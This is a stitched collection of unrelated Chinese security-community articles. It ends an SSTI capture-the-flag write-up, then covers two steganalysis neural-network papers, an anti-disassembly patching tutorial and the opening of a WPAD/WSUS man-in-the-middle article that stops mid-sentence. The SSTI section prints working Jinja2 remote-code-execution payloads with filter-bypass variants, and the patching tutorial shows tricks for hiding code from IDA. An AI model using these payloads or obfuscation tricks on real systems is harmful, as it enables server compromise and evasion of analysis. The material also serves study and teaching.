`{{()['__cla''ss__']['__ba''se__']['__subcla''sses__']()[132]['__in''it__']['__glo''bals__']['popen']('cat
flag')['read']()}}`
### 拓展
除了使用简单的字符串拼接方式外,还可以使用:
1. 字符编码(上面介绍过,就不再提了)
2. 使用`Jinjia2`中的`~`进行拼接.如`{%set a="__cla"%}{%set aa="ss__"%}{{a~aa}}`
3. 使用`join`过滤器.例如使用`{%set a=dict(__cla=a,ss__=a)|join%}{{a}}`,会将`__cla`和`ss__`拼接在一起,或者`{%set a=['__cla','ss__']|join%}{{a}}`
4. 使用`reverse`过滤器.如`{%set a="__ssalc__"|reverse%}{{a}}`
5. 使用`replace`过滤器.如`{%set a="__claee__"|replace("ee","ss")%}{{a}}`
6. 利用python的`char()`.例如
{% set chr=url_for.__globals__['__builtins__'].chr %}
{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}
…
## Level 9 bypass number
从提示可以看出ban了所有数字,所以这道题得想办法构造数字.使用过滤器`|length`可以绕过
使用过滤器构造132
`{% set a='aaaaaaaaaaa'|length*'aaa'|length*'aaaa'|length %}{{a}}`
`{{()['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('cat
flag')['read']()}}`
构造payload,拿到flag
`{% set a='aaaaaaaaaaa'|length*'aaa'|length*'aaaa'|length
%}{{()['__class__']['__base__']['__subclasses__']()[a]['__init__']['__globals__']['popen']('cat
flag')['read']()}}`
## Level 10
这一关的目的是拿到config,当我们使用`{{config}}`以及`{{self}}`时都返回了None.看来是被ban了,所以得重新寻找一个储存相关信息的变量.
[通过寻找](https://ctftime.org/writeup/11036),发现存在这么一个变量`current_app`是我们需要的.[官网](http://docs.jinkan.org/docs/flask/appcontext.html)对`current_app`提供了这么一句说明
> 应用上下文会在必要时被创建和销毁。它不会在线程间移动，并且也不会在不同的请求之间共享。正因为如此，它是一个存储数据库连接信息或是别的东西的最佳位置。
因此,此处能使用`current_app`绕过.
构造payload,拿到config
`{{url_for.__globals__['current_app'].config}}`
`{{get_flashed_messages.__globals__['current_app'].config}}`
## Level 11 bypass combination1
这一关颜色和之前不同,感觉难度会有所增加.
绕过`' "`可以用request构造get参数代替,但是request 被ban了,request 可以使用字符串拼接构造,但是`'
"`又被ban了,`.`被过滤可以用`[]`绕过,但是`[]`也被ban了.`[]`可以用`__getitem__`绕过,`.`可以用`attr`绕过,这两个没有被过滤,说明还是有希望.现在关键就是怎么绕过`'
和 "`.
再`Level 9 bypass keyword` 的扩展中,使用过滤器`dict()|join`构造关键子的过程中没有出现`'
"`,可以使用这种办法绕过.
`{%set a=dict(__cla=a,ss__=b)|join%}{{()|attr(a)}}`
不过在后面构造命令`cat flag`时空格无法识别.通过这篇[博客](https://buaq.net/go-74232.html),发现了新思路.
### 绕过空格
通过以下构造可以得到字符串,举个例,可以发现输出的字符串中存在空格、部分数字、`<`以及部分字母.利用过滤器`list`将其变为列表类型再配合使用索引,就能得到我们想要的.
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
同理,使用urlencode中还出现了百分号.在`%`被过滤时可以尝试使用这种方法进行绕过.
构造payload,拿到flag
>
> payload原型:().__class__.__base__.__subclasses__()[132].__init__.__globals__[‘popen’](‘cat
> flag’).read()
{%set a=dict(__cla=a,ss__=b)|join %} # __class__
{%set b=dict(__bas=a,e__=b)|join %} # __basess__
{%set c=dict(__subcla=a,sses__=b)|join %} # __subclasses__
{%set d=dict(__ge=a,titem__=a)|join%} # __getitem__
{%set e=dict(__in=a,it__=b)|join %} # __init__
{%set f=dict(__glo=a,bals__=b)|join %} # __globals__
{%set g=dict(pop=a,en=b)|join %} # popen
{%set h=self|string|attr(d)(18)%} # 空格
{%set i=(dict(cat=abc)|join,h,dict(flag=b)|join)|join%} # cat flag
{%set j=dict(read=a)|join%} # read
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(132)|attr(e)|attr(f)|attr(d)(g)(i)|attr(j)()}}
## Level 12 bypass combination2
这一关和上一关的区别在于 没有过滤`request`,但是过滤了数字.所以可以使用`request.args`绕过.
不过`request|attr("args")|attr("a")`并不能获取到通过get传递过来的`a参数`,所以这里得跟换为`request.args.get()`来获取get参数
如果还是从`().__class__`构造,那代码段就太冗长了.通过搜索,在羽师父的博客中学到了一条简洁的构造链.
`{{x.__init__.__globals__['__builtins__']}}`
构造payload,拿到flag
> payload原型:
> x.__init__.__globals__['__builtins__']['eval']("\\_\\_import\\_\\_\('os').popen('whoami').read()")
{%set a={}|select|string|list%}
{%set b=dict(pop=a)|join%}
{%set c=a|attr(b)(self|string|length)%} # _
{%set d=(c,c,dict(getitem=a)|join,c,c)|join%} # __getitem__
{%set e=dict(args=a)|join%} # args
{%set f=dict(get=a)|join%} # get
{%set g=dict(z=a)|join%}
{%set gg=dict(zz=a)|join%}
{%set ggg=dict(zzz=a)|join%}
{%set gggg=dict(zzzz=a)|join%}
{%set ggggg=dict(zzzzz=a)|join%}
{{x|attr(request|attr(e)|attr(f)(g))|attr(request|attr(e)|attr(f)(gg))|attr(d)(request|attr(e)|attr(f)(ggg))|attr(d)(request|attr(e)|attr(f)(gggg))(request|attr(e)|attr(f)(ggggg))}}
## Level 13 bypass combination3
这道题把`request`给ban了,过滤了更多关键字,不过还是可以用`Level 12`的思路
构造payload,拿到flag
>
> payload原型:x.__init__.__globals__['__builtins__']['__import__'](‘os’).popen('cat
> flag').read()")
{%set a={}|select|string|list%}
{%set ax={}|select|string|list%}
{%set aa=dict(ssss=a)|join%}
{%set aaa=dict(ssssss=a)|join%}
{%set aaaa=dict(ss=a)|join%}
{%set aaaaa=dict(sssss=a)|join%}
{%set b=dict(pop=a)|join%} # pop
{%set c=a|attr(b)(aa|length*aaa|length)%} # _
{%set cc=a|attr(b)(aaaa|length*aaaaa|length)%} # 空格
{%set d=(c,c,dict(get=a,item=a)|join,c,c)|join%} # __getitem__
{%set dd=(c,c,dict(in=a,it=a)|join,c,c)|join%} # __init__
{%set ddd=(c,c,dict(glob=a,als=a)|join,c,c)|join%} # __globals__
{%set dddd=(c,c,dict(buil=a,tins=a)|join,c,c)|join%} # __builtins__
{%set e=(c,c,dict(impo=a,rt=a)|join,c,c)|join%} # __import__
{%set ee=(dict(o=a,s=a)|join)|join%} # os
{%set eee=(dict(po=a,pen=a)|join)|join%} # popen
{%set eeee=(dict(cat=a)|join,cc,dict(flag=a)|join)|join%} # cat flag
{%set f=(dict(rea=a,d=a)|join)|join%} # read
{{x|attr(dd)|attr(ddd)|attr(d)(dddd)|attr(d)(e)(ee)|attr(eee)(eeee)|attr(f)()}}
# 总结
本篇文章主要介绍了`Flask`的服务端模板注入.其漏洞成因大多数是因为程序员的偷懒或者安全意识较低.
`SSTI`既然属于代码注入,那漏洞利用必然是想法设法去实现执行代码.在`Flask`中,我们可以通过类与类之间的继承关系拿到能够执行代码的函数,从而进行`RCE`.
`ssti`的基础payload构造形如:
`().__class__.__base__.__subclasses__()[64].__init__.__globals__['__import__']('os').system('whoami')`
但在某些特定情况下可能存在不同字符的过滤,我们需要通过
`python`的一些内在特性或内建方法,尝试对被过滤字符进行构造.上面练习已经简单实现了部分字符bypass,但还不完全.读者可以尝试自行探索出更有趣的payload.
关于`Flask SSTI`的防御,推荐使用更安全的`rander_template()`代替`rander_template_string()`.
学无止境,希望这边能对各位师傅们有所帮助.
# 参考
<https://xz.aliyun.com/t/3679>
<https://www.freebuf.com/articles/web/250481.html>
<https://www.anquanke.com/post/id/226900>
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI>
<https://buaq.net/go-74232.html>
<https://blog.csdn.net/miuzzx/article/details/110220425> | 社区文章 |
# 轻量级隐写分析模型
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
目前，隐写分析的研究主要分为两个方向，一种是传统的手工隐写分析，另一种是应用深度学习的隐写分析。本文将这两种隐写分析方式结合起来，在参考空域富模型（SRM）的概念后，选择一个滤波器来初始化预处理层的卷积核权重以获取图像残差。为了获得最佳的隐写残差信息，预处理层的卷积核权重被约束且被添加到网络的学习中。为了满足快速处理的工程需求，本文设计了一个轻量级的网络，称为LCR-CNN。仿真结果表明，LCR-CNN模型具有良好的隐写检测性能，为卷积神经网络在隐写术和数字取证领域的应用提供了新的改进思路。
# 背景
隐写术是一种将秘密信息嵌入到载体中并通过公共信道传输秘密消息的密码通信技术。常用的隐写术载体有图像、文本文档、视频和音频文件等。图像隐写技术可以分为两类：空间域隐写术和频域隐写术。空间域隐写术方法主要是通过直接修改图像像素来嵌入秘密信息。频域隐写术则是将某种正交变换（例如离散小波变换）应用于图像，但最常用的方法是离散余弦变换。目前新型的图像隐写术是一种内容自适应隐藏方法，这些方法通常使用自定义失真函数来评估图像失真程度并优化整体失真，典型的有空间域中的WOW算法和频域中的JUNIWARD算法。
在图像隐写技术发展的同时，图像隐写分析技术也取得了长足的进步。图像隐写分析是一种通过分析图像特征来判断秘密信息是否隐藏在图像中的技术。最经典的图像隐写分析技术是空域富模型（SRM）。SRM构造各种残差组合以提取图像特征，然后使用集成分类器方法来区分图像是否为隐写图像。在SRM的基础上，产生了maxSRMd和PSRM，以更好地检测自适应隐写术。
近年来，随着图像运算性能的提升，深度学习已逐渐被应用于图像分类中。与传统的隐写分析算法相比，基于深度学习的隐写分析算法无需手工设计图像特征，它可以通过训练和学习来优化特征提取和分类过程，使模型更有利于隐写图像的分类工作。有学者提出了一个基于卷积神经网络的隐写分析模型GNCNN，它使用高斯函数作为激活函数，实现了与SRM差不多的隐写分析性能。之后有学者基于抑制图像内容的思想提出了一种约束网络用于图像的识别工作，这为图像隐写提供了新的思路。
先前的隐写分析研究倾向于通过手工设计的滤波器获得图像的残差信息。研究人员认为，用于图像分类的卷积神经网络模型不能很好地提取隐写特征信息。手工设计的滤波器有助于提取隐写特征，但是以这种方式提取的特征可能不是最佳特征。并且现有的隐写分析网络结构较为复杂，参数量大，无法快速训练，不能便捷地应用于实际场景中。
## 轻量级隐写分析模型
### 综述
本文提出一个轻量级隐写分析模型，它具有如下特点：
（1）受约束型卷积神经网络的启发，本文约束了预处理层卷积核的权重，并将它添加到网络的学习中，这使得预处理层提取的隐写残差信息可以被充分利用。如果检测结果较差，可以通过网络的训练调整卷积核权重获得更好的残差信息。（2）模型中的网络架构是轻量级的。与经典隐写分析模型相比，本文隐写分析模型除了具有相同数量的卷积层外，其卷积核更小，因此总体的参数规模较少。这使得本模型具有较低的复杂度和相当好的隐写检测性能。
经典的隐写分析模型通常分为三个模块：残差噪声计算、特征提取和二分类。
### 预处理层中的残差噪声计算
隐写术等效于添加非常低幅的噪声到载波图像中。这种噪音对图像内容的影响可忽略不计，但是它改变了图像中相邻像素之间的关系。通用的图片分类算法只关注图片内容信息的识别，无法有效地基于隐写噪声进行分类。因此，本文在一般卷积层的前面添加了一个预处理层，预处理层在放大隐写噪声影响的同时，还降低图像内容的干扰。
受空域富模型（SRM）思想的启发，可以通过提取隐写残差信息来捕获隐写痕迹。有多种类型的滤波器可以提取残差信息，本文根据已有经验选择如下图所示的滤波器。在深度学习中，可以通过卷积运算做残差信息的提取操作。
由于手工设计的卷积核可能不会表现出最佳的性能，因此本文将卷积核添加到神经网络的学习过程中，即随着网络的训练和优化，预处理层的卷积核也在做持续的微调来适应隐写检测的功能。同时，为了保证卷积核所提取出的残差的正确性，本文约束了权重的调整，即保持卷积核的中心元素恒为-1，卷积核的所有元素总和恒为0。这使得所提取的隐写残差信息可以被更好地应用于隐写分析工作中。
### 特征提取层
计算出图像的残差信息后，模型需要从残差中进一步提取可用于分类的特征信息。基于领域知识，在特征提取层中，本文设计了五个卷积层用于提取特征，其结构如下图所示。
特征提取层的五个卷积层具有相同的结构。每个卷积层依次由卷积运算，非线性激活操作和池化操作这三部分组成。在卷积运算中，均使用大小为3 x3 的卷积核和步长为1
的卷积操作，从而更充分地提取特征图的隐写信息。在非线性激活操作中，均使用ReLU
非线性激活函数，从而有利于抽象特征的表达。最后，使用了池化操作，这既减少了参数数量，降低了参数规模，又通过特征图中多个元素的统计特性提取隐写特征，大大提高了网络的性能。
## 分类层
分类层主要由3个全连接层组成。分类层将前面网络层的特征映射到样本标签空间中，然后根据特征将图像划分为隐写图标签或载体图标签。
全连接层通常具有大量的参数。如果训练样本不够大，则模型容易出现过拟合的情况。因此有学者提出dropout的方法，它通过随机删除全连接层的部分神经元很好地解决了过拟合问题，大大地提升了模型的泛化能力。所以本文加入dropout到前两个全连接层，设置参数为0.5，这样在全连接层中，每个神经元都有0.5的可能性被删除。
在最后一个全连接层中，本文使用了softmax激活函数计算出特征属于隐写图和载体图的概率，概率大的即为最终的判别结果。
## 轻量级隐写分析模型测试与分析
### 数据集+参数
数据集为BOSSbase，其中包含10000张大小为512×512的载体图像。考虑当前计算机算力问题，将图像大小调整为256×256。本文还使用不同的隐写术算法来生成不同的载密图像集。
本文选择8000对载体载密图像作为训练集，选择1000对载体载密图像作为验证集，余下的1000对载体载密图像作为测试集。设置学习率为0.05，并使用Adadelta梯度下降优化器。除了预处理层，所有其他卷积核均使用Xavier初始器作初始化。设置dropout的参数为0.5。实验平台是装载有TITAN
X系列GPU的ubuntu16.04系统。
### 结果分析
**探究最佳的轻量级隐写分析模型。**
依据现有领域知识，本文额外设计了四个对轻量级隐写分析模型进行微调的方案，力图找到最佳的轻量级隐写分析模型，详细说明如下。
方案1：修改预处理层的卷积核。对预处理层卷积核的约束可能会抑制隐写特征的学习。因此，仍然使用SRM的滤波器作为卷积核，
但不约束卷积核的值。则预处理层的卷积核如下图所示。
方案2：修改池化层。模型中的平均池化操作方法是计算特征图中局部区域像素的平均值，这极有可能削弱隐写特征。因此，本方案修改平均池化为最大池化，意图凸显隐写特征的影响。
方案3：修改激活函数。现有研究和实验表明，如果网络没有出现梯度消失的现象，则在网络的浅层中部署TanH激活函数会具有更好的性能。所以本方案在网络第一层使用TanH替换掉ReLU。
方案4：添加批量正则化操作。适当的批量正则化操作可以有效降低梯度爆炸现象出现的可能性，从而提高网络的泛化能力。本方案将批量正则化操作添加到特征提取层的五个卷积层中。
下表呈现了所有方案的隐写分析效果，使用的隐写算法为WOW，载荷为0.4。分析可知，当前轻量级隐写分析模型（LCR-CNN）仍然具有更高的隐写检测准确率，因此本文使用它做下一步的研究。
**评估和比较的隐写性能。** 下表呈现了轻量级隐写分析模型LCR-CNN的隐写分析性能。本实验使用了三种隐写算法，分别为HUGO、WOW和J-UNIWARD。分析可知，当信息嵌入率增大时，隐写检测准确率越高。
为了进一步衡量模型的性能，本文将其与经典模型GNCNN和传统模型SRM进行了性能的比较。在仿真中，本文使用了有效载荷为0.4的WOW和HUGO算法，结果如下图所示。
可以看出，模型的隐写检测准确率与SRM 几乎相同，但远高于GNCNN。
**分析模型的复杂性。** 本文轻量级隐写分析模型LCR-CNN的参数量为63211，与GNCNN模型的参数量具有相同的量级。经分析，LCR-CNN和GNCNN的网络层数相同，但是LCR-CNN的卷积核大小为3×3，小于GNCNN的5×5的卷积核大小。因此，LCR-CNN能够充分提取隐写特征信息，同时保持架构轻、体积小、速度快的特点，是一个典型的轻量级网络模型。
## 贡献
本文的模型具有如下两个贡献：
（1）约束了预处理层的卷积核，从而确保提取正确的残差特征且可被充分利用。与此同时，将预处理层的卷积核权重加入到网络的学习中，从而帮助模型提取出更好的隐写残差信息。
（2）与经典隐写分析模型相比，本文的模型除了具有很好的隐写检测性能外，还具有架构轻、速度快的特点，这有利于快速投入到实际工程中去。 | 社区文章 |
本文是`反-反汇编`系列的第四篇文章，继续介绍一些最近学习到的花指令和`patch`技巧
# 源码、编译
代码如下：
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main(int argc, char** argv) {
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
puts("nop me");
system("pause");
return 0;
}
//gcc -m32 main.c -o test
# x86-1
## IDA视角
用IDA打开，和之前几篇类似的汇编代码
因为没开优化，对`esp`的加加减减没有合并
把`0x0804844F`处的`puts("nop me");`全部`nop`掉，也就是4条汇编指令，分别是参数压栈、调用函数、"平栈2次"
## patch
接着，`0x0804844F`处改成`call $+6`，也就是`call 0x08048455`，这条指令长度为5
最后把`0x08048455`的指令改成`pop eax`，效果如下：
运行时没有什么问题
F5也可以看出大致逻辑，IDA把`sub_8048455`看成了子函数
点进这个子函数，F5就会失败，因为堆栈不平衡
> 实际上`call func` == `push 下一条指令地址` \+ `jmp func`
>
> 这里通过一个`pop eax`消除`call`对栈的影响，效果其实就是无条件`jmp`，但是IDA显示非常混乱
## 修复
让IDA正确识别也很简单，只要`nop`掉那一块代码就行了
>
> 如果代码中有防止`patch`的措施，比如取代码段上某一块的数据，`patch`成`nop`以后就会改变原有的结果；也可能是代码段的校验之类，这样就会比较难以处理
## 补充-x64
这个技巧在x64架构下实现也一样简单，只补一个图
# x86-2
## 失败的尝试
主要关于`push retn`的组合使用
尝试`patch`成这样，运行到`0x8048440`时压入一个代码段地址，然后直接`retn`
因为`retn == pop eip`，就会直接跳转到`0x8048449`
> 由于IDA一般会把`retn`看作函数结束的标志，所以一般分析到`retn`就结束了
重新打开， **尴尬的是IDA并没有被我们骗到**
可能是IDA对紧邻的`push + retn`有一定的识别吧
## 改进
作为改进方法，我们将栈弄得更复杂一些
目标地址`0x804843D`刚被`push`压栈，这时`esp`指向它
紧接着就通过`add dword ptr [esp],0x2`把存的代码段地址增加2
可以看到即将`ret 0x804843f`也就是原程序流程
> 重新打开后发现识别效果很差，原先的很多代码段已经是红色了，这表明分析是有问题的
不过虽然看到`sp-analysis failed`，但却不影响F5，不知道为什么
F5之后，后半部分的代码逻辑直接没了...效果不错
# 小总结
在实际上手时，一开始第一个例程用的32位exe，但是`patch`之后直接运行失败，调试也直接crash，暂时没找到结果，于是用gcc编译成elf代替
另外，消除对栈的影响也可以单纯的通过`add/sub esp,xxx`来完成，都差不多所以只举了`pop reg`的例子 | 社区文章 |
# 基于量化截断机制的隐写分析模型
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
随着隐写术的发展，有越来越多的恶意分子结合恶意代码技术应用它到下载器、应用程序图标中，从而严重危害了客户、政府、国家的安全。基于此，本文提出了一个基于量化截断机制的多子网隐写分析模型，实验证明它具有良好的检测性能。
## 背景
隐写术和隐写分析在历史的长河中不断碰撞共同发展。目前有恶意分子已经应用隐写术、并结合恶意代码技术将一些恶意代码隐藏在应用程序图标、类似于迅雷的下载工具中，这严重危害了用户的安全。因此，研究隐写分析技术是一个重要的工作。
在传统的隐写分析领域中，研究者们首先通过一些特征提取器提取出隐写特征信息，再使用SVM等集成分类器对隐写特征信息进行检测和分类。总而言之，他们将隐写分析模型分为独立的特征提取部分和分类部分，这样在隐写分析的训练工作中就没有了两部分之间的反馈和改进。
随着深度学习的发展，学者们发现卷积神经网络具有很好的图像信息识别功能，它将特征提取部分和分类部分汇总在一起，从而能将它们加入到网络的训练中，并通过训练同时优化，这样更有利于获得一个完整的高性能识别模型。有学者尝试将卷积神经网络应用到了隐写分析领域，力图基于深度学习的技术设计新型隐写分析模型。
本文顺应深度学习技术和隐写分析的发展，设计了一个应用深度学习技术的基于量化截断机制的隐写分析模型。
## 基于量化截断机制的隐写分析模型
本文提出了一个隐写分析模型，它的网络架构可被分为两阶段。在第一阶段中，模型模拟空域富模型的特征提取方式提取出输入图像中的残差特征信息，并使用量化截断机制约束了这些残差特征值在一个固定的范围内。在第二阶段中，本文构建了两个并行的不同类型的子卷积神经网络提取出多样化的特征信息。基本的网络架构如下图所示。
### 第一阶段
在第一阶段的残差提取过程中，本文应用了25个空域富模型中的高通滤波器，它们的值都一样，高通滤波器矩阵如下图所示。
在这一阶段的模型参数都是手工设置好的，且应用了量化截断机制后，它们不会参与到网络的学习过程中去。
将输入图像与高通滤波器做卷积运算，获取到残差特征图。将此残差特征图作为量化阶段机制的输入，则整个量化和截断的过程如下：
其中，xi是残差特征图中的一个残差位置的残差值，Q是量化步长，T是截断值，[]是向下取整符号。这样获得的约束型残差值是呈固定阶梯状分布的值，因此导数为零，此时在卷积神经网络的训练过程中梯度不会反向传递到网络的第一阶段，即第一阶段的参数不会参与到网络的优化中去。
对于量化截断机制，本阶段设置了两个方案，称为量化截断机制1和量化截断机制2。量化截断机制1的计算公式如下。
量化截断机制2的计算公式如下。
记经过量化截断机制1处理的残差特征图为约束型残差特征图1，经过量化截断机制2处理的残差特征图为约束型残差特征图2。
### 第二阶段
第二阶段是由两个并列的子卷积神经网络组成的，网络中的参数均随着模型的训练而被优化。在第二阶段中，每个子网络对应一个约束型残差特征图，经实验验证，最终应用约束型残差特征图1作为子卷积神经网络1的输入信息，应用约束型残差特征图2作为子卷积神经网络2的输入信息。这两种子卷积神经网络的网络结构如下图所示，由上到下分别为子卷积神经网络1和子卷积神经网络2。
这两个子卷积神经网络均输出512维的特征向量。在子网络1中，本文在最后一个卷积层采用了一个卷积核大小为1×1的卷积运算和一个大小为32×32的全局池化处理，这样能细致地提取出纹理信息，且将所有纹理特征信息通过全局池化的方式进行降采样的处理，最小化了特征的损失。在子网络2中，本文在后几个卷积层中均采用了卷积核大小为3×3的卷积运算，且均使用了较大的步长，这有效地节省了GPU的内存资源。根据领域知识，这两个子网络均使用了ReLU非线性激活函数，以增强模型的汇聚能力。
在第二阶段后，模型输出了两个512维的特征向量，并将它们拼接成一个1024维的特征向量作为全连接层的输入。本文模型的全连接层包含一个加入softmax函数的全连接操作，最终根据特征信息输出当前输入图像属于原始图/隐写图的概率。
## 实验
### 网络的实现
本文的模型是在tensorflow的框架上设计并实现的。在第一阶段，首先通过高通滤波器计算得出一个25通道的残差特征图，然后对他们进行量化截断操作得到两个25通道的约束型残差特征图。关键代码如下图所示。
对于第二阶段，两个并行的子卷积神经网络构造方法和一般卷积神经网络方法相似，不在赘述。
### 实验环境
本文的数据集是10000张BOWS2灰度图像集。对于数据集的处理，本文首先应用了matlab的imresize()函数将大小为512×512的灰度图像缩放为大小为256×256的低分辨率图像集，以适应现有GPU的内存容量，再采用了WOW、S_UNIWARD隐写术方法分别对BOWS灰度图进行隐写操作从而生成对应的隐写图像集。对于每种隐写类型的完整的10000对原始-隐写图图像集，本文均采用了训练集、验证集和测试集的比例8:1:1来对其进行随机划分，最终得到的数据集如下表所示。
在本文中，程序是在tensorflow框架下设计和实现的，程序运行的平台是ubuntu14.04。在训练过程中，设置初始的学习率为0.0001，它随着训练过程呈现指数形式的下降趋势。第一阶段的卷积层的参数不参与到网络的学习中去，第二阶段的所有参数均使用Xavier的初始化方法进行初始化并参与到了网络的学习中。
### 结果分析
确定在当前模式下的最佳隐写分析模型。在这一阶段，我们设计不同的方案来验证量化截断机制的特点、不同子卷积神经网络的特征、不同量化阶段方法和子网络组合的性能。本文设计了七个方案，称为方案一到方案七，它们的详细设计信息如下表所示。
经过一系列的实验，在WOW隐写术的0.2嵌入率下，得出模型的隐写检测准确度结果如下表所示。
分析方案一、方案二的准确率可知，子网络1提取了更细致的隐写特征信息，并且通过全局池化的方法降低了特征的损失，所以能获得更好的隐写检测性能；分析方案一、方案二和方案三的准确率可知，由并行的子网络一和子网络二组成的网络模型能够提取出更多样化的隐写特征信息，因此具有更高的隐写检测准确率；分析方案三、方案四、方案五可知，对于本文的模型网络架构，应用了量化截断的机制后，从图像中提取出的残差特征值被约束到某一个值域内，从而更有利于网络的汇聚，而量化截断机制一因对残差的缩放小所以对其影响波动幅度较小，保证了残差特征不被过分削弱，因此使得方案四具有最高的隐写检测性能；分析方案四、方案五、方案六、方案七可知，同时应用两种不同类型的量化截断机制丰富了残差特征，使得模型从输入图像中提取出了更多样化的隐写特征，从而取得较高的隐写检测准确率，而方案六的量化截断机制和子卷积神经网络的组合结果具有最高的隐写检测准确率，因此将方案六设为本文的最佳隐写分析模型。
分别将使用方案六的隐写分析模型检测自适应隐写书WOW的0.2嵌入率、S_UNIWARD的0.2嵌入率和0.4嵌入率下的隐写检测准确率，结果如下表所示。
分析可知，基于量化截断机制的隐写分析模型应用了两种类型的量化截断方法和两种不同的子卷积神经网络后，能从图像中提取出更多样性的隐写分析特征，从而对于当前流行的空域隐写算法具有良好的识别性能，对于0.2嵌入率的WOW和S_UNIWARD隐写术的检测准确率均为百分之七十以上，对于0.4嵌入率的WOW和S_UNIWARD隐写术的检测准确率均为百分之八十五以上。
**模型网络结构核心代码链接：**
<https://github.com/HYWZ36/Steganalysis_model_based_on_quantization_stage_mechanism/blob/master/Quality_T_CNN.py> | 社区文章 |
网络攻击（WPAD注入，HTTP / WSUS
中间人攻击，SMBRelay攻击等）是一个非常有用的攻击向量，攻击者可以使用此类攻击尝试以半定向的方式横向扩散，收集证书或升级特权。目前已知的攻击者使用此攻击向量可以深入到网络中去，许多威胁/恶意软件报告都引用了具有允许攻击者以远程方式执行这些攻击的功能的工具。[Duqu
2.0](https://securelist.com/files/2015/06/The_Mystery_of_Duqu_2_0_a_sophisticated_cyberespionage_actor_returns.pdf)是一个很好的例子，可以在野外发现这样的攻击，而这个报道也是一个很好的案例研究。
感谢每天和我一起工作的Jeff
Dimmock（[@bluscreenofjeff](https://twitter.com/bluscreenofjeff)）和Andy
Robbins（[@_wald0](https://twitter.com/_wald0)）的演示和故事，这使得我变得更加熟悉这些技术。学习了Responder后，我把玩了更广泛的功能，如MITMf，它将各种工具组合成一个武器化的平台，方便你集成到你的思路中。对于不熟悉这些工具的用户，请查看以下链接：
<https://www.trustwave.com/Resources/SpiderLabs-Blog/Responder-2-0-Owning-Windows-Networks-part-3/>
<https://www.christophertruncer.com/responder-user-account-credentials-first-come-first-served/>
在引用Duqu
2.0报告中的恶意和狡猾的APT操作者的情况下，行动者使用了专门为其工具包构建的一个模块，并且不需要使用公共工具或外部脚本。不幸的是，很长一段时间内，已公开的MITM
/中继攻击工具仍然需要你置身于本地局域网才能发起攻击（无论如何…我欢迎你的意见）。2015年初，Kevin
Robertson（[@kevin_robertson](https://twitter.com/kevin_robertson)）发布了
[Inveigh](https://github.com/Kevin-Robertson/Inveigh)，这是一款PowerShell网络攻击工具，它使用原始套接字来实现一些有限的技术，包括LLMNR欺骗，MDNS欺骗和SMB中继。Inveigh为许多有趣的攻击链打开了大门，并允许我们以远程方式更好地模拟使用这些向量的威胁。如果你关心为什么我们效仿威胁，去别的地方…拉斐尔·莫格（Raphael
Mudge）对这个话题有一些[非常好的主意和想法](http://blog.cobaltstrike.com/category/adversary-simulation/)。
## WPAD攻击
让我们退后一步，先学习WSUS MITM攻击的不同组件。Web代理自动发现（WPAD）是Microsoft
Windows客户端自动配置本地代理设置的协议。企业使用协议允许客户端自动定位并使用正确的代理设置来排除不相关的企业网络。发现过程和配置如下：
1. 在DHCP协商期间是否获得了代理配置？
2. 如果没有，解析“wpad.domain.com”并从该服务器获取配置。
3. 如果我们没有得到结果，则使用NetBIOS（NBT-NS）广播来解析名称“WPAD”
4. 如果找到服务器，则使用uri“/wpad.dat（http：// <SERVER> /wpad.dat）从该服务器请求资源，其中将包含代理的设置
由于在NBT-NS回复期间缺乏验证（步骤3），请求的广播域或本地子网中的任何客户端都可以响应并声称“我就是WPAD服务器”。然后，流氓WPAD服务器就可以提供恶意配置文件来配置目标的代理设置。随着有毒的WPAD设置，任何流氓主机都可以伪装成代理服务器，并拦截所有浏览流量进行篡改。这引入了许多不同的侧向扩展向量：
`HTTP MITM与iframe（HTA，漏洞利用，Java Applet等）`
`HTTP认证提示/社会工程`
`WSUS注入`
`...还有很多`
## WSUS MITM
Windows Server Update Services（WSUS）是一种允许公司从集中式Intranet位置，管理和部署更新或修补程序的系统。在
[Blackhat USA 2015](https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf)，安全研究人员Paul
Stone（[@
pdjstone](https://twitter.com/pdjstone)）和来自[Context](http://www.contextis.com/)的
Alex Chapman
介绍了企业更新在网络上未加密的明显问题。他们明确指出，没有SSL，任何人都可以对更新过程进行中间人攻击，以提供恶意的更新包。顺便说一下，HTTP是WSUS默认使用的协议。但是有一个问题：更新二进制文件必须由Microsoft签名。一个解决方案：SysInternals的PsExec允许攻击者从已签名的Windows二进制文件执行任意Windows命令。攻击过程在会议上进行了演示，让我非常感兴趣。在我所参与的大部分工作中，这些轻微的错误配置使得我们的红军能够访问到我们需要的关键地形。
请阅读他们的[白皮书](https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update-wp.pdf)进行更多的研究或查看他们的[工具](https://github.com/ctxis/wsuspect-proxy)
…我不能在这短短的一篇文章中阐明。另外，为了更多关于为什么非加密更新/软件不好的研究，请查看Josh
Pitt的（[@midnite_runr](https://twitter.com/midnite_runr)）
[研究](https://twitter.com/midnite_runr)或[后门工厂的一些](https://github.com/secretsquirrel/the-backdoor-factory)工作。
## 把它放在一起
好的，所有我在这一点上所做的都是在思考有名的漏洞和攻击策略。当你将工具放在一起并将其武器化在诸如Cobalt
Strike的平台中时，就会提升攻击力，从而可以在本地Intranet范围之外进行MiTM攻击。对于本节，我将假设我们已经从外部获得了初始访问加入域的主机的权限。
_免责声明：这是一个演示，显然有大量的约束可以使操作员更改使用的方法或技术。关键是，这些看似先进的技术不仅限于国家赞助的攻击者与定制工具，红均可以有效地模仿对手并利用这些攻击。_
## 确定可能性
第一步是识别任何WSUS错误配置。在大多数RAT中，我们可以通过查询注册表来确定系统的WSUS设置。接下来我们可以查询Internet
